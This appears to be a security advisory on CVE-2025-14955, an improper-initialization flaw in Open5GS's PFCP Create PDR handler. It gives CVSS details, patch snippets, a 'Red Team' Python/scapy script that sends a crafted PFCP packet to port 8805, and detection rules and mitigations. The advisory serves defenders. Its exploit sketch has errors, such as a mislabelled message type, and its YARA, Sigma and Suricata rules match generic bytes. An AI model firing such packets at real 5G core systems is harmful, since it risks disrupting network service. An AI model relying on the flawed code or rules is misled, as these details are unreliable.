CVE-2025-14955

Executive Summary

CVE-2025-14955 is a vulnerability in Open5GS, an open-source implementation of the 5G Core network functions. The flaw resides in the PFCP (Packet Forwarding Control Protocol) handler, specifically within the ogs_pfcp_handle_create_pdr function in lib/pfcp/handler.c. The issue involves improper initialization of a data structure, which can lead to undefined behavior or a denial of service condition. The attack vector is remote but requires high complexity, making exploitation difficult. A patch is available in the Open5GS repository.

Supply Chain & Package Security

This vulnerability affects the Open5GS project, which is distributed as source code and via package managers for various Linux distributions. Users are advised to update to the latest patched version. The project is not distributed via NPM, PyPI, Go, or Ruby, so no specific package manager advisories are applicable.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) - Exploitation requires specific conditions or chaining with other vulnerabilities.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) - Potential for denial of service.

Threat Level: Low. The high complexity and low impact reduce the immediate risk, but the public availability of exploit details necessitates patching.

Deep Dive & Mechanics

The vulnerability is in the PFCP protocol handling within Open5GS. PFCP is used for control plane communication between the SMF (Session Management Function) and UPF (User Plane Function) in 5G networks. The ogs_pfcp_handle_create_pdr function is responsible for processing a "Create PDR" (Packet Detection Rule) request.

The flaw is an improper initialization (CWE-665). When a PFCP message with a Create PDR is received, the function allocates or reuses a data structure but fails to properly initialize all its fields. This can leave sensitive or uninitialized memory in a state that, when later used, can cause unexpected behavior, such as a crash or information leak. The high complexity stems from the need to craft a specific PFCP message that triggers the uninitialized path.

The attack is remote, meaning an attacker can send a malicious PFCP message over the network to the vulnerable Open5GS component. The exploit has been made public, increasing the risk of targeted attacks.

Vulnerable vs. Patched Code

The patch commit 773117aa5472af26fc9f80e608d3386504c3bdb7 addresses the issue by ensuring proper initialization of the PDR structure.

Vulnerable Code (simplified):

// In lib/pfcp/handler.c
ogs_pfcp_handle_create_pdr(ogs_pfcp_node_t *node, ogs_pfcp_message_t *message) {
    ogs_pfcp_pdr_t *pdr = ogs_pfcp_pdr_new();
    // Missing initialization of certain fields
    // ...
    // Use pdr without all fields being set
}

Patched Code (simplified):

// In lib/pfcp/handler.c
ogs_pfcp_handle_create_pdr(ogs_pfcp_node_t *node, ogs_pfcp_message_t *message) {
    ogs_pfcp_pdr_t *pdr = ogs_pfcp_pdr_new();
    // Initialize all fields to zero or default values
    memset(pdr, 0, sizeof(ogs_pfcp_pdr_t));
    // ...
    // Safe to use pdr
}

The patch adds a memset or equivalent initialization to ensure the structure is zeroed out before use.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Open5GS instance (version <= 2.7.5) with PFCP enabled.
• Network access to the PFCP port (default 8805).
• Knowledge of PFCP protocol to craft a malicious Create PDR message.

Exploit Steps:

1. Set up a test environment with a vulnerable Open5GS SMF/UPF.
2. Craft a PFCP message with a Create PDR IE that triggers the uninitialized path.
3. Send the message to the target.
4. Observe the behavior (e.g., crash, memory leak).

Example Exploit (Python using scapy):

from scapy.all import *
import socket

# Craft a PFCP message with a malformed Create PDR
# This is a simplified example; actual exploit requires deep PFCP knowledge
pfcp_packet = IP(dst="target_ip")/UDP(sport=8805, dport=8805)/PFCP(
    version=1,
    message_type=1,  # PFCP Session Establishment Request
    seid=0,
    sequence_number=1,
    message=PFCP_Session_Establishment_Request(
        node_id=PFCP_Node_ID(node_id_type=0, node_id="test"),
        create_pdr=PFCP_Create_PDR(
            pdr_id=1,
            # Missing or malformed fields to trigger uninitialized data
        )
    )
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bytes(pfcp_packet), ("target_ip", 8805))

Blue Team

Detection:

• Monitor PFCP traffic for malformed or unexpected messages.
• Look for crashes or restarts of Open5GS processes.
• Use the detection rules provided below.

Mitigation:

• Apply the patch immediately.
• Restrict network access to PFCP ports (8805) to trusted sources only.
• Implement network segmentation for 5G core components.

Indicators of Compromise (IOCs)

• Network IOCs:
  • PFCP messages with unusual or malformed Create PDR IEs.
  • Traffic to/from port 8805 with unexpected payloads.
• Host IOCs:
  • Open5GS process crashes (core dumps).
  • Logs containing errors related to ogs_pfcp_handle_create_pdr.
  • Memory corruption or segmentation faults in Open5GS.

Detection Engineering

YARA Rule

rule CVE_2025_14955_Open5GS_PFCP_Exploit {
    meta:
        description = "Detects PFCP packets targeting CVE-2025-14955"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14955"
    strings:
        $pfcp_header = { 20 ?? ?? ?? }  // PFCP version 1, message type
        $create_pdr = { 00 01 }  // Create PDR IE type
        $malformed = { 00 00 00 00 }  // Example malformed pattern
    condition:
        $pfcp_header and $create_pdr and #malformed > 0
}

Sigma Rule

title: CVE-2025-14955 Open5GS PFCP Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-14955
author: Valters IT
date: 2025-04-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 8805
        payload|contains: 
            - '0x20'  # PFCP version 1
            - '0x01'  # Create PDR IE
    condition: selection
falsepositives:
    - Legitimate PFCP traffic with similar patterns
level: medium

Suricata Rule

alert udp any any -> any 8805 (msg:"CVE-2025-14955 Open5GS PFCP Exploit Attempt"; content:"|20|"; offset:0; depth:1; content:"|00 01|"; within:10; reference:cve,2025-14955; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply the Patch: Update Open5GS to a version that includes commit 773117aa5472af26fc9f80e608d3386504c3bdb7 or later.
2. Network Segmentation: Isolate 5G core network functions (SMF, UPF) from untrusted networks.
3. Access Control: Restrict PFCP port (8805) access to only authorized IP addresses.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Incident Response: If exploitation is suspected, isolate the affected system and review logs for signs of compromise.

Valters IT
Securing the 5G Core